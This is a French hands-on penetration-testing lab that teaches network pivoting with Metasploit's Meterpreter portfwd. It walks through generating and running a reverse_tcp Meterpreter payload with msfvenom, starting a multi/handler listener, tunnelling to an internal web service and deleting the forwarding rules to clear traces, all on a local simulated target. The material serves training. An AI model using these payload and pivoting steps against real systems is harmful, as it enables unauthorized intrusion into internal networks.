Effectuer un pivotement réseau avec portfwd dans Meterpreter

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous apprendrez le pivotement réseau, une technique fondamentale en test d'intrusion. Le pivotement est le processus consistant à utiliser un système compromis pour accéder à d'autres systèmes sur un réseau interne qui ne sont pas directement accessibles depuis votre machine.

Nous utiliserons Meterpreter de Metasploit, une charge utile post-exploitation puissante, et sa commande portfwd pour y parvenir. Vous apprendrez comment configurer un transfert de port pour tunneliser le trafic à travers un hôte compromis, vous permettant ainsi d'interagir avec les services de son réseau local comme si vous étiez directement connecté.

Identification d'un service sur le réseau interne d'une cible

Dans cette étape, nous allons simuler l'obtention d'une session Meterpreter sur une machine cible. Dans un scénario réel, cela serait réalisé en exploitant une vulnérabilité. Pour ce laboratoire, nous allons configurer un écouteur dans Metasploit et exécuter manuellement une charge utile pour s'y connecter. Cela nous permettra de nous concentrer sur la phase post-exploitation.

Tout d'abord, nous devons installer le Metasploit Framework.

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

Ensuite, ouvrez un terminal et démarrez la console Metasploit.

msfconsole -q

Dans msfconsole, nous allons configurer un gestionnaire (handler) pour écouter les connexions entrantes.

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

Maintenant, ouvrez un nouveau terminal (vous pouvez utiliser le bouton "+" dans l'onglet du terminal). Dans ce nouveau terminal, nous allons générer et exécuter une charge utile pour nous reconnecter à notre écouteur.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf
./shell.elf

Revenez à votre premier terminal avec msfconsole. Vous devriez voir un message indiquant qu'une nouvelle session a été ouverte. Interagissons avec elle.

sessions -l
sessions -i 1

Vous êtes maintenant dans une session Meterpreter. Une première étape courante consiste à effectuer une reconnaissance. Vérifions les interfaces réseau de l'hôte "compromis".

ifconfig

Vous verrez plusieurs interfaces réseau. Pour ce laboratoire, nous supposerons que, grâce à des analyses supplémentaires (qui dépassent le cadre de ce laboratoire), nous avons découvert un service web fonctionnant sur 127.0.0.1 au port 8080. Notre objectif est d'accéder à ce service.

Utilisation de la commande portfwd add dans Meterpreter

Dans cette étape, nous allons explorer la commande portfwd, qui est un outil clé pour le transfert de ports dans Meterpreter.

La commande portfwd nous permet de créer un tunnel, redirigeant le trafic d'un port sur notre machine locale (attaquant) vers une adresse IP et un port spécifiques accessibles depuis l'hôte compromis. C'est l'essence même du pivotement.

La commande possède plusieurs options, mais nous nous concentrerons sur add, list et delete (ou rm).

La syntaxe pour ajouter une nouvelle règle de transfert de port est la suivante :

portfwd add -l <local_port> -p <remote_port> -r <remote_host>

Décomposons les paramètres pour l'opération add :

  • -l <local_port> : Le port sur votre machine locale (la machine attaquante) qui écoutera les connexions entrantes. Vous vous connecterez à ce port pour accéder au service distant.
  • -p <remote_port> : Le port de destination sur le réseau cible auquel vous souhaitez accéder. Dans notre cas, il s'agit de 8080.
  • -r <remote_host> : L'adresse IP de destination sur le réseau cible. Cet hôte doit être joignable par la machine compromise. Dans notre cas, il s'agit de 127.0.0.1.

Dans l'étape suivante, nous utiliserons cette commande pour créer une règle de transfert pour le service web que nous avons identifié.

Transfert d'un port de l'hôte compromis vers votre machine Kali

Maintenant que vous comprenez la commande portfwd add, utilisons-la pour transférer le service web interne vers notre machine locale.

Notre objectif est d'accéder au service fonctionnant sur 127.0.0.1:8080 (du point de vue de l'hôte compromis) en nous connectant à un port sur notre propre machine. Choisissons le port local 8888 à cet effet.

Dans votre session Meterpreter, exécutez la commande suivante :

portfwd add -l 8888 -p 8080 -r 127.0.0.1

Cette commande indique à Meterpreter d'écouter sur votre port local 8888 et de transférer toute connexion vers 127.0.0.1:8080 sur le système cible. Vous devriez voir un message de confirmation.

[*] Local TCP relay created: 127.0.0.1:8888 -> 127.0.0.1:8080

Le transfert est maintenant actif. Tout trafic envoyé à localhost:8888 sur votre machine sera tunnelisé via la session Meterpreter vers le port 8080 de la cible.

Accès au service interne via le nouveau port local

Avec le transfert de port en place, nous pouvons maintenant accéder au service web interne comme s'il fonctionnait sur notre propre machine.

Ouvrez un nouveau terminal sur votre machine (ne fermez pas le terminal msfconsole).

Utilisez un outil en ligne de commande comme curl pour effectuer une requête vers le port local que vous avez configuré (8888). Cette requête sera envoyée à votre machine locale.

curl http://127.0.0.1:8888

La requête voyagera de votre client curl vers votre port local 8888, traversera la session Meterpreter jusqu'à l'hôte compromis, et enfin atteindra le service web sur 127.0.0.1:8080. Vous devriez voir le contenu HTML de la page web interne en résultat.

<html>
  <body>
    <h1>Internal Service Accessed!</h1>
  </body>
</html>

Succès ! Vous avez réussi à pivoter dans le réseau de la cible et à accéder à un service qui n'était pas directement atteignable.

Lister et supprimer la règle de transfert de port

Une fois que vous avez terminé d'utiliser le pivot, il est de bonne pratique de nettoyer vos règles de transfert de port afin de supprimer les traces et de libérer des ressources.

Tout d'abord, listons toutes les règles de transfert de port actives. Revenez à votre session Meterpreter et utilisez la commande portfwd list.

portfwd list

Vous verrez un tableau listant les transferts actifs, y compris leur numéro d'index, leur type et les détails de la connexion.

Active Port Forwards
====================

Index  Type    Local Host  Local Port  Remote Host  Remote Port
-----  ----    ----------  ----------  -----------  -----------
1      forward 127.0.0.1   8888        127.0.0.1    8080

Pour supprimer une règle, vous pouvez utiliser soit portfwd delete, soit portfwd rm. Vous devez fournir le numéro d'index de la règle dans la liste. Dans notre cas, l'index est 1.

Exécutez la commande suivante pour supprimer la règle :

portfwd delete -i 1

Vous devriez voir une confirmation que le relais TCP a été arrêté.

[*] Stopping TCP relay on 127.0.0.1:8888...
[*] TCP relay stopped

Vous pouvez exécuter à nouveau portfwd list pour confirmer que la règle a été supprimée. La liste devrait maintenant être vide. Cela garantit que le tunnel est fermé et que votre machine n'écoute plus sur le port 8888.

Résumé

Dans ce laboratoire, vous avez appris les bases du pivotement réseau en utilisant l'utilitaire portfwd de Meterpreter.

Vous avez réussi à simuler l'obtention d'une session Meterpreter, à identifier un service interne hypothétique et à créer une règle de transfert de port pour tunneliser le trafic de votre machine locale vers le réseau interne de la cible. Vous avez ensuite accédé à ce service interne via le tunnel et appris à lister et supprimer les règles de transfert pour nettoyer votre session.

Cette technique est une compétence fondamentale en test d'intrusion, vous permettant d'étendre votre accès d'un seul hôte compromis à un réseau interne entier.